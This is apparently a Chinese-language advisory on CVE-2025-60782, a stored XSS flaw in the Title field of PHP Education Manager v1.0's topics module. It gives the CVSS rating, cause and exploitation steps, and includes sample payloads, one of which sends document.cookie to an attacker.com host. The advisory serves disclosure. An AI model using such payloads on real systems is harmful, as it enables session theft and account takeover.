CVE-2025-60782CVE-2025-60782是PHP Education Manager v1.0中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞位于教育管理系统的topics管理模块(topics.php)中,具体出现在主题创建或更新时的Title字段。攻击者可以通过低权限认证账户,在Title字段中注入恶意的JavaScript载荷。由于系统未对用户输入进行充分的过滤和转义处理,恶意脚本将被持久化存储在服务器端数据库中。当其他用户(包括管理员)访问包含该主题的页面时,恶意脚本将在受害者浏览器中自动执行。
该漏洞的CVSS 3.1评分为5.4,属于中危级别。其攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),且需要用户交互(UI:R)。由于是存储型XSS,影响范围为变更范围(S:C),对机密性(C:L)和完整性(I:L)产生低影响,但不影响可用性(A:N)。
PHP Education Manager是一款用于教育机构的管理系统,通常用于管理课程、主题、学生信息等内容。该系统的topics管理模块允许用户创建和管理讨论主题或课程主题。由于XSS漏洞的存在,攻击者可以利用此漏洞窃取用户会话cookie、进行钓鱼攻击、篡改页面内容或执行其他恶意操作,对教育机构和用户的数据安全构成威胁。
该漏洞的技术原理在于topics.php文件中的Title字段未对用户输入进行适当的HTML实体编码或过滤。当用户通过POST请求提交主题创建或更新表单时,Title字段中的内容被直接存储到数据库中,而未进行任何安全处理。
在利用方式上,攻击者首先需要拥有系统的低权限账户(普通用户权限)。攻击者登录后,导航到topics管理模块,在创建新主题或更新现有主题时,在Title字段中输入恶意JavaScript代码,例如:<script>alert(document.cookie)</script>或更复杂的载荷如<img src=x onerror=fetch('http://attacker.com/steal?cookie='+document.cookie)>。
当恶意载荷被提交后,系统将其存储到数据库。由于缺乏输出编码,当其他用户(特别是管理员)查看主题列表或主题详情页面时,服务器从数据库中读取该Title字段内容并直接嵌入到HTML响应中,浏览器解析这些未转义的内容时便会执行其中的JavaScript代码。
由于该漏洞为存储型XSS,攻击载荷会持久存在,影响所有访问相关页面的用户。攻击者可以利用此漏洞进行会话劫持(窃取cookie)、钓鱼攻击(伪造登录表单)、恶意重定向、键盘记录等攻击活动。特别是在教育管理系统中,管理员通常拥有更高权限,一旦管理员的会话被劫持,可能导致整个系统被控制。